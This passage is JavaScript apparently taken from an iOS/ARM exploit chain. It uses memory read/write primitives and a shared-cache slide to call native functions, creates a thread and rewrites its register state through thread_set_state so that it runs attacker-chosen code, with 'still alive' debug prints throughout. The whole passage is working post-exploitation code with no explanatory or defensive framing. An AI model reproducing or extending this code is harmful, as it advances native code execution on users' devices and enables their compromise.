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var dyld_shc_slide = get_dyld_shc_slide();
printf("still alive0\n");
write_u32(0x346afc48 + dyld_shc_slide, 0x23d751fc + dyld_shc_slide);
printf("still alive1\n");
write_u32(stack_shit + 0x0, 0x42069);
printf("still alive2\n");
write_u32(stack_shit + 0x1, 0x69420);
printf("still alive3\n");
write_u32(stack_shit + 0x2, 0x13371337);
printf("still alive4\n");
write_u32(stack_shit + 0x3, 0x6969);
printf("still alive5\n");
printf("%s\n", prim_hexdump(read_buf(thread, 0x100)));
calls4arg("pthread_create", threadptr, 0, 0x23d751fc + dyld_shc_slide, 0);
printf("%x\n", read_u32(threadptr));
thread = read_u32(threadptr);
calls4arg("usleep", 100000, 0, 0, 0);
printf("%s\n", prim_hexdump(read_buf(thread, 0x100)));
// call4arg(0x41414141, 0, 0, 0, 0);
printf("still alive6\n");
write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
// write_u32(th, 0xa03);
printf("thread=%x th=%x sym=%x\n", read_u32(thread), read_u32(th), sym_cache["pthread_mach_thread_np"]);
var info = 0x134004;
var whatever = 0x134000;
/*
var lol = new Uint8Array(0x100);
for (i = 0; i < 0x10000; i++) {
write_buf(info, lol, 0x100);
write_u32(whatever, 0x100)
// printf("%x\n", calls4arg("mach_thread_self", 0, 0, 0, 0));
calls4arg("thread_info", i, 3, info, whatever);
// printf("%s\n", prim_hexdump(read_buf(info, 0x100)));
if (read_u32(info) != 0) {
// printf("%s\n", prim_hexdump(read_buf(info, 0x100)));
printf("hit: %x\n", i);
} else if (i % 0x10 == 0) {
printf("%x\n", i);
}
}*/
printf("still alive7\n");
write_u32(thread_state + (0 << 2), sptr("Hello, world! %x %x %x %x %x %x %x\n"));
printf("still alive8\n");
write_u32(thread_state + (1 << 2), 0x1337);
printf("still alive9\n");
write_u32(thread_state + (2 << 2), 0x420);
printf("still alive10\n");
write_u32(thread_state + (3 << 2), 0x69);
printf("still alive11\n");
write_u32(thread_state + (13 << 2), stack_shit);
printf("still alive12\n");
write_u32(thread_state + (14 << 2), 0x23d751fc + dyld_shc_slide);
printf("still alive13\n");
write_u32(thread_state + (15 << 2), sym_cache["printf"]);
printf("still alive14\n");
write_u32(thread_state + (16 << 2), 0x40000020);
printf("still alive15\n");
printf("%d\n", calls4arg("thread_set_state", read_u32(th), ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT));
printf("still alive16\n");
printf("%d\n", calls4arg("thread_resume", read_u32(th), 0, 0, 0));
printf("still alive17\n");
calls4arg("sleep", 10, 0, 0, 0);
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